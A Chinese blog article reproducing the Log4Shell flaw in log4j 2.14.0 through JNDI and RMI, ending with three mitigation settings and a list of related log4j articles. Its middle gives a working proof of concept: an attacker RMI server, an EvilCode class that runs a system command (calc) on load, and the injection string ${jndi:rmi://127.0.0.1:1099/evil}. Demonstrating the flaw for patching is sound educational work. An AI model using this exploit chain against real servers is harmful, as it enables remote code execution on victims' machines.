Java RMI引起的log4j漏洞问题重现

目录
  • RMI和JNDIRMI
  • 模拟漏洞重现
  • 【紧急补救措施3选1】

2021-12-10日左右,java的log4j框架出现了一个大漏洞,对服务器案例引起了不小的影响,当然只对于log4j的日志使用者来说,如果你是spring框架,用的是logback,不存在这个问题。

RMI和JNDIRMI

  • (Remote Method Invocation) 即Java远程方法调用,一种用于实现远程过程调用的应用程序编程接口
  • JNDI (Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口
  • JNDI和RMI的主要关系是RMI注册的服务可以通过JNDIAPI访问。在讨论到Spring反序列化漏洞之前,先看看如果通过JNDI来调用RMI注册的服务。

模拟漏洞重现

pom依赖

    <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
            <exclusions>
                <exclusion>
                    <groupId>org.springframework.boot</groupId>
                    <artifactId>spring-boot-starter-logging</artifactId>
                </exclusion>
            </exclusions>
        </dependency>

        <!--log4j2核心包-->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.0</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.0</version>
        </dependency>

黑客端

/**
 * 构建RMI服务来响应恶意代码
 * <p>
 * Java RMI,即 远程方法调用(Remote Method Invocation),一种用于实现远程过程调用(RPC)的Java API, 能直接传输序列化后的Java对象和分布式垃圾收集。它的实现依赖于(JVM),因此它仅支持从一个JVM到另一个JVM的调用。
 */
public class RMIServer {
  @SneakyThrows
  public static void main(String... args) {
    try {
      // 本地主机上的远程对象注册表Registry的实例,默认端口1099
      LocateRegistry.createRegistry(1099);
      Registry registry = LocateRegistry.getRegistry();
      System.out.println("Create RMI registry on port 1099");
      //返回的Java对象
      Reference reference = new Reference("bug.EvilCode", "bug.EvilCode", null);
      ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
      // 把远程对象注册到RMI注册服务器上,并命名为evil
      registry.bind("evil", referenceWrapper);
    } catch (RemoteException | AlreadyBoundException | NamingException e) {
      e.printStackTrace();
    }
  }

/**
 * 执行任意的脚本,目前的脚本会使windows服务器打开计算器.
 */
public class EvilCode {
  static {
    System.out.println("受害服务器将执行下面命令行");
    Process p;

    String[] cmd = {"calc"};
    try {
      p = Runtime.getRuntime().exec(cmd);
      InputStream fis = p.getInputStream();
      InputStreamReader isr = new InputStreamReader(fis);
      BufferedReader br = new BufferedReader(isr);
      String line = null;
      while ((line = br.readLine()) != null) {
        System.out.println(line);
      }
    } catch (IOException e) {
      e.printStackTrace();
    }
  }
}

网站端

public class Server {
  private static final Logger logger = LogManager.getLogger();

  public static void main(String[] args) {
    String name = "${java:runtime}";
    logger.info("name:{}", name);
    //模拟填写数据,输入构造好的字符串,使受害服务器打印日志时执行远程的代码 同一台可以使用127.0.0.1
    String username = "${jndi:rmi://127.0.0.1:1099/evil}";
    //正常打印业务日志
    logger.error("username:{}", username);

  }
}

【紧急补救措施3选1】

  • 修改 JVM 参数 -Dlog4j2.formatMsgNoLookups=true
  • 修改配置 log4j2.formatMsgNoLookups=True
  • 将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

到此这篇关于java RMI引起的log4j漏洞的文章就介绍到这了,更多相关java RMI 漏洞内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

(0)

相关推荐

  • 详解Java 中 RMI 的使用

    RMI 介绍 RMI (Remote Method Invocation) 模型是一种分布式对象应用,使用 RMI 技术可以使一个 JVM 中的对象,调用另一个 JVM 中的对象方法并获取调用结果.这里的另一个 JVM 可以在同一台计算机也可以是远程计算机.因此,RMI 意味着需要一个 Server 端和一个 Client 端. Server 端通常会创建一个对象,并使之可以被远程访问. 这个对象被称为远程对象.Server 端需要注册这个对象可以被 Client 远程访问. Client 端调

  • Java 配置log4j日志文件路径 (附-获取当前类路径的多种操作)

    1 日志路径带来的痛点 Java 项目中少不了要和log4j等日志框架打交道, 开发环境和生产环境下日志文件的输出路径总是不一致, 设置为绝对路径的方式缺少了灵活性, 每次变更项目路径都要修改文件, 目前想到的最佳实现方式是: 根据项目位置自动加载并配置文件路径. 本文借鉴 Tomcat 的配置方式 "${catalina.home}/logs/catalina.out", 通过相对路径的方式设置日志的输出路径, 有其他解决方案的小伙伴, 请直接评论区交流哦

  • java项目打包成可执行jar用log4j将日志写在jar所在目录操作

    开发一个demo时想将日志输出到最终打包的jar所在目录,从网上学习实验整理之后的配置如下, log4j.properties log4j.rootLogger = INFO,console,logFile log4j.appender.console=org.apache.log4j.ConsoleAppender log4j.appender.console.Threshold=INFO log4j.appender.console.ImmediateFlush=true log4j.app

  • 在Java中使用日志框架log4j的方法

    日志就是记录程序的运行轨迹,方便快速定位问题 如果用System.out.println(),信息是打印在控制台.等到产品上线后没有控制台,如果有报错信息,根本不知道去哪里看,就不知道是哪里出错. 而且开发的时候希望打印输出的内容多.方便排查,上线后只希望打印容易出错的部分.System.out.println()满足不了这个需求 而日志框架可以让错误信息输出到多个指定文件,不同的文件有不同的输出内容.方便排错,定位错误 一.log4j介绍 Log4j有三个主要的组件/对象:Loggers(记录

  • 详解Java中log4j.properties配置与加载应用

    log4j.properties总结: 一.介绍 Log4j是Apache的一个开放源代码项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台.文件.GUI组件.甚至是套接口服务 器.NT的事件记录器.UNIX Syslog守护进程等:我们也可以控制每一条日志的输出格式:通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程. Log4j由三个重要的组件构成:日志信息的优先级,日志信息的输出目的地,日志信息的输出格式.日志信息的优先级从高到低有ERROR.WARN. I

  • Java RMI引起的log4j漏洞问题重现

    目录 RMI和JNDIRMI 模拟漏洞重现 [紧急补救措施3选1] 2021-12-10日左右,java的log4j框架出现了一个大漏洞,对服务器案例引起了不小的影响,当然只对于log4j的日志使用者来说,如果你是spring框架,用的是logback,不存在这个问题. RMI和JNDIRMI (Remote Method Invocation) 即Java远程方法调用,一种用于实现远程过程调用的应用程序编程接口 JNDI (Java Naming and Directory Interface

  • Java序列化反序列化原理及漏洞解决方案

    Java序列化 Java 提供了一种对象序列化的机制,该机制中,一个对象可以被表示为一个字节序列,该字节序列包括该对象的数据.有关对象的类型的信息和存储在对象中数据的类型. Java反序列化 反序列化就是将字节序列恢复为Java对象的过程 整个过程都是 Java 虚拟机(JVM)独立的,也就是说,在一个平台上序列化的对象可以在另一个完全不同的平台上反序列化该对象,因此可以实现多平台之间的通信.对象持久化存储,主要有如下几个应用场景. HTTP:多平台之间的通信,管理等 RMI:是 Java 的一

  • 全网最新Log4j 漏洞修复和临时补救方法

    1. 漏洞评级及影响版本 Apache Log4j 远程代码执行漏洞 严重 影响的版本范围:Apache Log4j 2.x <= 2.14.1 2.log4j2 漏洞简单演示 创建maven工程 引入jar包依赖 <dependencies> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> &

  • 关于log4j漏洞修复解决方案及源码编译

    最近log4j爆出重大漏洞,程序员要赶紧修复了!文末提供已经编译好的jar包. 建议最好修复到log4j-2.15.0-rc2版本,临时解决方案还是存在jndi漏洞. 打开log4j官网https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2 发现官方网站给的是源码,没有jar包怎么办,这下在阿里云仓库找了rc2版本结果发现也是不能用的,于是自己就开始编译源码. 一.编译环境: windows10 maven3.

  • 启动tomcat时 错误: 代理抛出异常 : java.rmi.server.ExportException: Port already in use: 1099的解决办法

    一.问题描述 今天一来公司,在IntelliJ IDEA 中启动Tomcat服务器时就出现了如下图所示的错误: 错误: 代理抛出异常错误: java.rmi.server.ExportException: Port already in use: 1099; nested exception is: java.net.BindException: Address already in use: JVM_Bind 这里说的是1099端口被其它进程占用了. 二.解决办法 找出占用1099端口的进程,

  • Java RMI详细介绍及简单实例

    Java RMI详解 概要: Java RMI 指的是远程方法调用 (Remote Method Invocation).它是一种机制,能够让在某个 Java 虚拟机上的对象调用另一个 Java 虚拟机中的对象上的方法.可以用此方法调用的任何对象必须实现该远程接口. Java RMI不是什么新技术(在Java1.1的时代都有了),但却是是非常重要的底层技术. 大名鼎鼎的EJB都是建立在rmi基础之上的,现在还有一些开源的远程调用组件,其底层技术也是rmi. 在大力鼓吹Web Service.SO

  • java RMI详细介绍及实例讲解

    java本身提供了一种RPC框架--RMI(即RemoteMethodInvoke远程方法调用),在编写一个接口需要作为远程调用时,都需要继承了Remote,Remote接口用于标识其方法可以从非本地虚拟机上调用的接口,只有在"远程接口"(扩展java.rmi.Remote的接口)中指定的这些方法才可远程使用,下面通过一个简单的示例,来讲解RMI原理以及开发流程: 为了真正实现远程调用,首先创建服务端工程rmi-server,结构如下: 代码说明: 1.User.java:用于远程调用

  • Java RMI机制讲解

    Java RMI Java RMI之HelloWorld篇 Java RMI 指的是远程方法调用 (Remote Method Invocation).它是一种机制,能够让在某个 Java 虚拟机上的对象调用另一个 Java 虚拟机中的对象上的方法.可以用此方法调用的任何对象必须实现该远程接口. Java RMI不是什么新技术(在Java1.1的时代都有了),但却是是非常重要的底层技术. 大名鼎鼎的EJB都是建立在rmi基础之上的,现在还有一些开源的远程调用组件,其底层技术也是rmi. 在大力鼓

  • Java如何有效避免SQL注入漏洞的方法总结

    目录 1.简单又有效的方法是使用PreparedStatement 2.使用过滤器 防止sql注入的一些建议 总结 1.简单又有效的方法是使用PreparedStatement 采用预编译语句集,它内置了处理SQL注入的能力,只要使用它的setXXX(如:setString)方法传值即可. 好处: (1).代码的可读性和可维护性变好. (2).PreparedStatement尽最大可能提高性能. (3).最重要的一点是极大地提高了安全性. 原理: SQL注入只对SQL语句的编译过程有破坏作用,

  • 网络安全渗透测试使用goby检测log4j漏洞

    目录 一.前言 二.漏洞复现 三.gobypoc编写 expJson部分 自定义POC函数部分 一.前言 前段时间的Log4j漏洞影响很广泛,网上已经公开了很多地方的利用方式,而平时用goby较多,就想利用goby的指纹识别对目标定向检测.这篇文章就从Apache Solr Log4j漏洞为例,教大家如何写goby poc,文章中有错误还请及时指正. Goby可以通过编写go文件,来实现一些高级的漏洞检测或利用,例如dnslog检测漏洞 详情可查阅goby官方文档:https://cn.gobi

随机推荐